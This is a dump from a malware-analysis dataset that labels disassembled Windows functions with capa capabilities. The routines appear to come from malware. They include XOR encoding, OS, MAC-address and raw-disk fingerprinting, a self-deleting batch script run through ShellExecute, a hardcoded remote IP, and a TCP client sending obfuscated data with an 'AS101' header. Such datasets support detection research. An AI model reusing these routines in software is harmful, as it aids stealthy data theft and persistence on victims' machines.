joyce8/EMBER2024-capa huggingface dataset:
Function at 0xa5ed22
Capabilities:
Encode data using xor

Disassembly:
pushal
pushal
lea esp, [esp + 0x20]
popal
pushfd
pop word [esp]
push word [esp + 1]
jmp 0xa5ecdc
mov byte [esp + 1], dl
lea esp, [esp + 1]
mov byte [esp + 1], bh
lea esp, [esp + 2]
push esi
pop word [esp]
lea esp, [esp + 3]
lea esp, [esp + 4]
push ebp
mov dword [esp], eax
pop word [esp]
lea esp, [esp + 2]
push 0x1cdd8
call fcn.00a49aa2
mov ebx, 0x19ea8f1f
mov al, byte [0xf99e088a]
or byte [ebx - 0x65009016], bh
imul eax, edx, 0xf666030
retf 0x6061

Function at 0xaadfbc
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 0xc]
push edi
test esi, esi
je 0xaadffc
mov edi, dword [esp + 0x14]
cmp edi, 2
jl 0xaadffc
xor ecx, ecx
test edi, edi
jle 0xaadff7
mov dl, byte [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x1c]
mov eax, ecx
and eax, 3
mov al, byte [eax + ebx]
xor al, byte [ecx + esi]
inc ecx
xor al, dl
cmp ecx, edi
mov byte [ecx + esi - 1], al
mov dl, al
jl 0xaadfde
pop ebx
pop edi
mov al, 1
pop esi
ret
pop edi
xor al, al
pop esi
ret

Function at 0xaae00c
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 0xc]
push edi
test esi, esi
je 0xaae04f
mov edi, dword [esp + 0x14]
cmp edi, 2
jl 0xaae04f
xor eax, eax
test edi, edi
jle 0xaae04a
mov dl, byte [esp + 0xc]
push ebx
push ebp
mov ebp, dword [esp + 0x20]
mov cl, byte [eax + esi]
mov ebx, eax
and ebx, 3
mov bl, byte [ebx + ebp]
xor bl, cl
xor bl, dl
mov byte [eax + esi], bl
inc eax
cmp eax, edi
mov dl, cl
jl 0xaae02f
pop ebp
pop ebx
pop edi
mov al, 1
pop esi
ret
pop edi
xor al, al
pop esi
ret

Function at 0xaae05c
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 8]
xor al, al
test esi, esi
je 0xaae088
mov edx, dword [esp + 0xc]
cmp edx, 2
jl 0xaae088
xor ecx, ecx
test edx, edx
jle 0xaae084
lea ebx, [ebx]
xor al, byte [ecx + esi]
inc ecx
cmp ecx, edx
jl 0xaae07c
not al
pop esi
ret
xor al, al
pop esi
ret
Function at 0x401000
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp + 0x9c], eax
push esi
push 0x118
xor esi, esi
lea eax, [ebp - 0x7c]
push esi
push eax
call fcn.004152d0
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x80], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x401084
cmp dword [ebp - 0x7c], 5
mov eax, dword [ebp - 0x78]
jne 0x40106e
test eax, eax
jne 0x40105d
cmp word [ebp + 0x94], 4
jb 0x401084
inc esi
cmp eax, 2
jne 0x401064
push eax
pop esi
jae 0x40106b
cmp eax, 1
jne 0x401084
push 3
pop esi
cmp dword [ebp - 0x7c], 6
jne 0x401084
test eax, eax
jne 0x40107c
push 4
jmp 0x401083
cmp eax, 1
jne 0x401084
push 5
pop esi
mov ecx, dword [ebp + 0x9c]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00412ee8
add ebp, 0xa0
leave
ret
Function at 0x401a7f
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x198]
sub esp, 0x218
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp + 0x194], eax
push esi
xor eax, eax
xor esi, esi
push 0x206
mov word [ebp - 0x74], ax
lea eax, [ebp - 0x72]
push esi
push eax
mov dword [ebp - 0x7c], esi
call fcn.004152d0
add esp, 0xc
mov dword [ebp - 0x78], esi
cmp ebx, esi
je 0x401b31
push edi
mov edi, str.golfinfo.ini
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, si
jne 0x401aca
sub eax, edx
sar eax, 1
je 0x401b30
lea eax, [ebp - 0x74]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x74]
push esi
push eax
call fcn.00412ef7
push 0x42b8c0
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x78]
push eax
call fcn.0041344b
add esp, 0x18
cmp dword [ebp - 0x78], 0
je 0x401b30
push dword [ebp - 0x78]
xor esi, esi
inc esi
push esi
push 0x200
push ebx
call fcn.0041373e
push dword [ebp - 0x78]
call fcn.004137d2
add esp, 0x14
mov dword [ebp - 0x7c], esi
pop edi
mov ecx, dword [ebp + 0x194]
mov eax, dword [ebp - 0x7c]
xor ecx, ebp
pop esi
call fcn.00412ee8
add ebp, 0x198
leave
ret

Function at 0x401b4a
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x198]
sub esp, 0x218
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp + 0x194], eax
push esi
xor eax, eax
xor esi, esi
push 0x206
mov word [ebp - 0x74], ax
lea eax, [ebp - 0x72]
push esi
push eax
mov dword [ebp - 0x7c], esi
call fcn.004152d0
add esp, 0xc
mov dword [ebp - 0x78], esi
cmp ebx, esi
je 0x401c25
push edi
mov edi, str.golfset.ini
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, si
jne 0x401b99
sub eax, edx
sar eax, 1
je 0x401c24
cmp dword [0x432fbc], 3
mov esi, 0x104
lea eax, [ebp - 0x74]
jne 0x401bd6
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x42b8c8
lea eax, [ebp - 0x74]
push esi
push eax
call fcn.00412ef7
add esp, 0xc
jmp 0x401bde
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x74]
push esi
push eax
call fcn.00412ef7
push 0x42b8c0
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x78]
push eax
call fcn.0041344b
add esp, 0x18
cmp dword [ebp - 0x78], 0
je 0x401c24
push dword [ebp - 0x78]
xor esi, esi
inc esi
push esi
push 0x200
push ebx
call fcn.0041373e
push dword [ebp - 0x78]
call fcn.004137d2
add esp, 0x14
mov dword [ebp - 0x7c], esi
pop edi
mov ecx, dword [ebp + 0x194]
mov eax, dword [ebp - 0x7c]
xor ecx, ebp
pop esi
call fcn.00412ee8
add ebp, 0x198
leave
ret
Function at 0x401c3e
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.004152d0
add esp, 0xc
cmp dword [0x432fbc], 3
lea eax, [ebp - 0x20c]
jne 0x401ca4
push esi
mov esi, 0x104
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x42b8c8
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00412ef7
add esp, 0xc
pop esi
jmp 0x401cb0
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x20c]
push eax
push 0x42b8cc
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0x10
call fcn.00412ee8
leave
ret

Function at 0x401e34
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.004152d0
and dword [ebp - 0x214], 0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x214]
push eax
movzx eax, word [ebp - 0x210]
sub eax, 0x41
push eax
call fcn.00401fc6
push dword [ebp - 0x214]
call fcn.004020b3
add esp, 0xc
cmp eax, 0xffffffff
jne 0x401eac
xor eax, eax
jmp 0x401eb3
push esi
call fcn.00401d6e
pop ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00412ee8
leave
ret

Function at 0x401ebf
Capabilities:
Get disk information via ioctl

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
xor esi, esi
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 8], edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], edi
je 0x401f68
mov ebx, 0xb69
push ebx
call fcn.00408aac
pop ecx
mov dword [ebp - 4], eax
xor eax, eax
push eax
lea ecx, [ebp - 0xc]
push ecx
push ebx
push dword [ebp - 4]
push eax
push eax
push 0x70050
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x401f59
mov eax, dword [ebp - 4]
push 4
add eax, 0x30
pop ebx
mov edx, dword [eax + 4]
cmp edx, dword [ebp - 0x14]
mov ecx, dword [eax]
jl 0x401f3b
jg 0x401f2f
cmp ecx, dword [ebp - 0x18]
jbe 0x401f3b
mov esi, dword [eax + 8]
mov edi, dword [eax + 0xc]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], edx
add eax, 0x89
dec ebx
jne 0x401f1e
add esi, dword [ebp - 0x18]
push ebx
adc edi, dword [ebp - 0x14]
push 0x200
push edi
push esi
call fcn.004170e0
mov dword [ebp - 8], eax
cmp dword [ebp - 4], 0
je 0x401f68
push dword [ebp - 4]
call fcn.00408ab7
pop ecx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401f78
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push edi
xor ecx, ecx
xor eax, eax
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 0x18], ecx
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 4], ecx
je 0x401fc1
mov eax, dword [ebp + 0xc]
mov ecx, 0x200
mul ecx
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
push eax
push 0x400
push dword [ebp + 0x10]
mov dword [ebp - 0xc], edx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, eax
mov eax, ecx
pop edi
leave
ret

Function at 0x4022c1
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x194]
sub esp, 0x214
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp + 0x190], eax
push esi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x78], ax
lea eax, [ebp - 0x76]
push eax
xor esi, esi
call fcn.004152d0
add esp, 0xc
test edi, edi
je 0x402387
and dword [ebp - 0x7c], esi
mov ecx, 0x42b7a0
mov eax, ecx
lea esi, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
test dx, dx
jne 0x40230c
sub eax, esi
sar eax, 1
je 0x402330
push 0x42b93c
push ecx
lea eax, [ebp - 0x7c]
push eax
call fcn.0041344b
add esp, 0xc
jmp 0x402364
lea eax, [ebp - 0x78]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.golfinfo.ini
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00412ef7
push 0x42b93c
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x7c]
push eax
call fcn.0041344b
add esp, 0x18
xor esi, esi
inc esi
cmp dword [ebp - 0x7c], 0
je 0x402387
push dword [ebp - 0x7c]
push esi
push 0x200
push edi
call fcn.00413a11
push dword [ebp - 0x7c]
call fcn.004137d2
add esp, 0x14
mov ecx, dword [ebp + 0x190]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00412ee8
add ebp, 0x194
leave
ret

Function at 0x40239f
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push edi
push 0x42b8c0
push dword [ebp + 8]
lea eax, [ebp - 4]
xor edi, edi
push eax
mov dword [ebp - 4], edi
call fcn.0041344b
add esp, 0xc
test eax, eax
je 0x4023c9
xor eax, eax
jmp 0x40244c
push ebx
push esi
push 2
push edi
push dword [ebp - 4]
call fcn.00413b1d
push dword [ebp - 4]
call fcn.00413d3f
push edi
push edi
push dword [ebp - 4]
mov esi, eax
call fcn.00413b1d
lea eax, [esi + 0x32]
push eax
mov dword [ebp - 8], eax
call fcn.00413dfc
push dword [ebp - 4]
mov edi, eax
push 1
push esi
push edi
call fcn.0041373e
push dword [ebp - 4]
call fcn.004137d2
push 0x32
lea ebx, [edi + esi]
call fcn.0040244f
push 0x42b93c
push dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
call fcn.0041344b
add esp, 0x44
pop esi
pop ebx
test eax, eax
jne 0x4023c2
push dword [ebp - 4]
push 1
push dword [ebp - 8]
push edi
call fcn.00413a11
push dword [ebp - 4]
call fcn.004137d2
xor eax, eax
add esp, 0x14
inc eax
pop edi
leave
ret
Function at 0x402491
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x298]
sub esp, 0x318
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp + 0x294], eax
push ebx
push esi
lea eax, [ebp + 0x190]
push eax
mov esi, 0x104
xor ebx, ebx
push esi
mov dword [ebp - 0x80], ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push str._uinsey.bat
lea eax, [ebp + 0x190]
push esi
push eax
call fcn.00414724
add esp, 0xc
push esi
lea eax, [ebp + 0x8c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp + 0x8c]
push eax
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00413ec6
lea eax, [ebp - 0x78]
push 0x5c
push eax
call fcn.00413f30
add esp, 0x14
cmp eax, ebx
je 0x40250f
mov byte [eax], bl
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp + 0x190]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x7c], eax
cmp eax, 0xffffffff
je 0x4025f3
mov eax, str.:Repeat_r_ndel___s__r_nif_exist___s__goto_Repeat_r_nrmdir___s__r_ndel___s_
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40253f
sub eax, edx
lea ecx, [ebp + 0x8c]
push edi
mov esi, eax
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
cmp al, bl
jne 0x402554
lea eax, [ebp + 0x190]
sub ecx, edi
lea edi, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x402566
imul ecx, ecx, 3
sub eax, edi
add ecx, eax
lea esi, [ecx + esi + 0x32]
push esi
call fcn.00408aac
push esi
mov edi, eax
push ebx
push edi
call fcn.004152d0
lea eax, [ebp + 0x190]
push eax
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0x8c]
push eax
push eax
push str.:Repeat_r_ndel___s__r_nif_exist___s__goto_Repeat_r_nrmdir___s__r_ndel___s_
push esi
push edi
call fcn.00413f5d
mov eax, edi
add esp, 0x2c
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4025af
push ebx
lea ecx, [ebp - 0x80]
push ecx
sub eax, esi
push eax
push edi
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push ebx
push ebx
lea eax, [ebp + 0x190]
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp edi, ebx
je 0x4025f2
push edi
call fcn.00408ab7
pop ecx
pop edi
mov ecx, dword [ebp + 0x294]
pop esi
xor ecx, ebp
pop ebx
call fcn.00412ee8
add ebp, 0x298
leave
ret
Function at 0x40260a
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3dc
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
mov word [ebp - 0x248], ax
xor esi, esi
lea eax, [ebp - 0x246]
push esi
push eax
call fcn.004152d0
add esp, 0xc
lea eax, [ebp - 0x3d8]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 1
mov edi, 0x436480
call fcn.004019f3
pop ecx
push 2
pop ebx
test eax, eax
jne 0x402725
push 0x3a
mov word [ebp - 0x40], ax
lea eax, [ebp - 0x3e]
push esi
push eax
call fcn.004152d0
add esp, 0xc
lea edi, [ebp - 0x40]
call fcn.004027b7
xor eax, eax
movzx ecx, word [ebp + eax - 0x40]
mov word [eax + 0x436628], cx
add eax, ebx
cmp cx, si
jne 0x402687
push str.218.54.31.165
push 0x40
push 0x436484
call fcn.00412f74
add esp, 0xc
push 0x51
pop eax
push str.AAAA
push 0x10
push 0x436506
mov word [0x436504], ax
call fcn.00412f74
add esp, 0xc
push 0x42b7d4
push 0x40
push 0x436526
call fcn.00412f74
mov eax, 0x2b66
add esp, 0xc
mov word [0x4365a6], ax
xor eax, eax
movzx ecx, word [ebp + eax - 0x40]
mov word [eax + 0x436608], cx
add eax, ebx
cmp cx, si
jne 0x4026ec
mov edi, 0x436608
dec edi
dec edi
mov ax, word [edi + 2]
add edi, ebx
cmp ax, si
jne 0x402706
mov esi, 0x42b958
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov dword [0x436648], 5
xor esi, esi
call fcn.00402845
lea edi, [ebp - 0x248]
call fcn.004027b7
xor eax, eax
movzx ecx, word [ebp + eax - 0x248]
mov word [eax + 0x4368b8], cx
add eax, ebx
cmp cx, si
jne 0x402737
mov edi, 0x4368b8
push edi
push esi
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
cmp eax, esi
je 0x40276e
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x4027a8
push edi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x40276a
mov ebx, 0x436938
call fcn.00402a2c
mov eax, dword [0x43664c]
push esi
push esi
push esi
push 0x402ea2
push esi
push esi
mov dword [0x436940], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x433038], eax
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00412ee8
leave
ret
Function at 0x402c23
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
or dword [ebp - 0x2c], 0xffffffff
push ebx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x3c], eax
xor eax, eax
push 7
mov word [ebp - 0x24], ax
pop ecx
lea edi, [ebp - 0x22]
rep stosd dword es:[edi], eax
mov esi, 0x288
push esi
stosw word es:[edi], ax
xor ebx, ebx
call fcn.00413dfc
pop ecx
lea ecx, [ebp - 0x34]
push ecx
push eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x34], esi
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, 0x6f
jne 0x402c94
push dword [ebp - 0x28]
call fcn.00414357
push dword [ebp - 0x34]
call fcn.00413dfc
pop ecx
pop ecx
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x28]
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
jne 0x402d4e
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
cmp eax, ebx
je 0x402d4e
jmp 0x402cbb
mov eax, dword [ebp - 0x30]
mov edi, dword [ebp - 0x40]
inc dword [ebp - 0x2c]
test edi, edi
je 0x402cce
lea esi, [eax + 0x194]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea esi, [eax + 0x1ac]
test esi, esi
je 0x402d3d
lea edi, [esi + 4]
mov eax, edi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402ce0
sub eax, ecx
cmp eax, 0x10
jle 0x402cf1
push 0x10
pop eax
xor ecx, ecx
test eax, eax
jl 0x402d11
cmp ecx, eax
jne 0x402d02
xor edx, edx
mov word [ebp + ecx*2 - 0x24], dx
movsx dx, byte [edi + ecx]
mov word [ebp + ecx*2 - 0x24], dx
inc ecx
cmp ecx, eax
jle 0x402cf9
lea eax, [ebp - 0x24]
push eax
call fcn.004028ce
pop ecx
test eax, eax
je 0x402d33
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x38]
push 0x10
push dword [eax + ebx*4]
call fcn.00412f74
add esp, 0xc
mov esi, dword [esi]
inc ebx
test esi, esi
jne 0x402cd8
mov eax, dword [ebp - 0x30]
test ebx, ebx
jg 0x402d4e
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
test eax, eax
jne 0x402cb8
cmp dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x3c]
pop edi
pop esi
mov dword [eax], ebx
pop ebx
je 0x402d65
push dword [ebp - 0x28]
call fcn.00414357
pop ecx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x2c]
xor ecx, ebp
call fcn.00412ee8
leave
ret
Function at 0x4030ba
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp - 4], eax
push dword [ebp + 8]
mov dword [ebp - 0x430], ecx
call fcn.0040322b
pop ecx
mov dword [ebp - 0x42c], eax
test eax, eax
jne 0x40321f
push ebx
push esi
push edi
mov esi, 0x206
push esi
push eax
mov word [ebp - 0x220], ax
lea eax, [ebp - 0x21e]
push eax
call fcn.004152d0
xor eax, eax
push esi
push eax
mov word [ebp - 0x428], ax
lea eax, [ebp - 0x426]
push eax
call fcn.004152d0
lea edi, [ebp - 0x220]
call fcn.00402fa1
push 0x42b8c8
mov esi, 0x104
mov eax, edi
push esi
push eax
call fcn.00412ef7
mov byte [ebp - 0x18], 0
add esp, 0x24
xor eax, eax
lea edi, [ebp - 0x17]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ebx, 0x435b68
cmp word [ebx], 0
je 0x4031ac
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x428]
push esi
push eax
call fcn.00412f74
push ebx
lea eax, [ebp - 0x428]
push esi
push eax
call fcn.00412ef7
lea eax, [ebp - 0x428]
push eax
lea ecx, [ebp - 0x18]
call fcn.00405526
add esp, 0x1c
test eax, eax
je 0x4031ac
push 5
pop ecx
lea edi, [ebx + 0x104]
lea esi, [ebp - 0x18]
xor eax, eax
repe cmpsd dword [esi], dword es:[edi]
mov esi, 0x104
jne 0x4031ac
mov word [ebx], ax
add ebx, 0x118
cmp ebx, 0x4360e0
jl 0x403154
mov edi, 0x435b68
cmp word [edi], 0
je 0x4031d7
push dword [ebp + 8]
mov ecx, edi
push dword [ebp - 0x430]
call fcn.004039af
pop ecx
pop ecx
add edi, 0x118
cmp edi, 0x4360e0
jl 0x4031bf
push 0x436b38
lea eax, [ebp - 0x220]
push esi
push eax
call fcn.00412ef7
add esp, 0xc
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
pop edi
pop esi
pop ebx
cmp eax, 0xffffffff
jne 0x403219
mov dword [ebp - 0x42c], 2
mov eax, dword [ebp - 0x42c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00412ee8
leave
ret
Function at 0x403402
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9a8
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
lea eax, [ebp - 0x804]
cmp ecx, ebx
je 0x403424
mov eax, ecx
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x9a4]
push eax
push 0x101
mov dword [ebp - 0x9a8], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x40344c
xor eax, eax
jmp 0x4034de
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x403445
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x40348c
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
mov dword [ebp - 0x9a8], eax
push 4
lea eax, [ebp - 0x9a8]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x4034cd
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
push 2
mov dword [ebp - 0x810], eax
pop eax
push dword [ebp + 8]
mov word [ebp - 0x814], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x812], ax
push 0x10
lea eax, [ebp - 0x814]
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x4034cd
xor ebx, ebx
inc ebx
jmp 0x4034dc
mov eax, dword [esi]
test eax, eax
je 0x4034dc
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
and dword [esi], ebx
mov eax, ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00412ee8
leave
ret

Function at 0x403617
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
xor ecx, ecx
push ebx
mov dword [ebp - 8], ecx
cmp dword [eax], ecx
je 0x403694
push esi
mov esi, dword [ebp + 0x10]
cmp esi, ecx
push edi
jle 0x40363e
mov eax, dword [ebp + 0xc]
add eax, ecx
not byte [eax]
inc ecx
cmp ecx, esi
jl 0x403632
lea eax, [esi + 7]
push eax
mov dword [ebp - 4], eax
call fcn.00408aac
push dword [ebp + 0x10]
mov ebx, eax
push dword [ebp + 0xc]
add esi, 5
mov word [ebx], si
lea edi, [ebx + 2]
mov esi, str.AS101
movsd dword es:[edi], dword [esi]
lea eax, [ebx + 7]
push eax
movsb byte es:[edi], byte [esi]
call fcn.00419d90
mov eax, dword [ebp + 8]
add esp, 0x10
push 0
push dword [ebp - 4]
push ebx
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
pop edi
pop esi
cmp eax, 0xffffffff
je 0x403697
cmp eax, dword [ebp - 4]
jne 0x403697
mov dword [ebp - 8], 1
jmp 0x403697
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x4036a2
push ebx
call fcn.00408ab7
pop ecx
mov eax, dword [ebp - 8]
pop ebx
leave
ret